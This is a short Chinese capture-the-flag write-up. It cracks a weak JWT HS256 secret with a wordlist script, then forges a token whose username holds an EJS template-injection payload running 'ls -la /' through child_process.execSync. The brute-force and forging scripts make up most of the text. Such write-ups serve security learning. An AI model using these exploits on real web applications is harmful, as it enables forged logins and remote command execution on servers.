CTF_Expression_WriteUp.md
14.9KB
⋮⋮刚开始不知道咋做的,就去问了ai
进入环境后先随便注册一个账号,然后抓包,发现有一个set-cookie:的响应头,里面的东西看上去像base64编码,解码发现第一段输出{"alg":"HS256","typ":"JWT"},说明这是一个JWT token,使用HS256算法签名
这个JWT token由三部分组成,头部、载荷和签名,其中签名使用HMAC-SHA256 算法,这种算法加密解密使用同一个密钥,根据题目提示密钥很可能是默认密钥,可以写个脚本爆破一下
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJ1c2VybmFtZSI6InVzZXJfY2IyOGRhZDhlYTc2IiwiaWF0IjoxNzc3NDI1Nzg4LCJleHAiOjE3NzgwMzA1ODh9.Pz0uNPHFFoD0dsOak1MpDoKWGnPSlMnH2xpVIFIJX8I"
# 常见的默认/弱 JWT 密钥列表
common_secrets = [
"secret", "secret123", "secret_key", "jwt_secret",
"your-256-bit-secret", "your_secret_key",
"HS256", "password", "admin", "key",
"supersecret", "changeme", "default",
# ... 更多候选密钥
]
for secret in common_secrets:
try:
decoded = jwt.decode(token, secret, algorithms=["HS256"])
print(f"[+] 找到密钥: '{secret}'")
print(f" 解码内容: {decoded}")
break
except jwt.InvalidSignatureError:
continue # 签名不匹配,换下一个爆破出密钥是secret,后面就可以伪造JWT token了
根据题目提示是ssti模板注入,可以输出在页面的只有用户名,那么可以构建payload
import jwt
import time
# 构造 Payload,在 username 字段中注入 EJS 表达式
payload = {
"email": "test@test.com",
"username": "<%= process.mainModule.require('child_process').execSync('ls -la /').toString() %>",
"iat": int(time.time()),
"exp": int(time.time()) + 86400 * 7
}
# 用破解到的密钥签名
forged_token = jwt.encode(payload, "secret", algorithm="HS256")
print(f"伪造的 Token: {forged_token}构建payload后在请求头里加上Cookie:token=上面得到的伪造的token+; Path=/; HttpOnly; SameSite=Lax
然后发送请求,服务器返回页面,上面就是flag了:SYC{LMAO}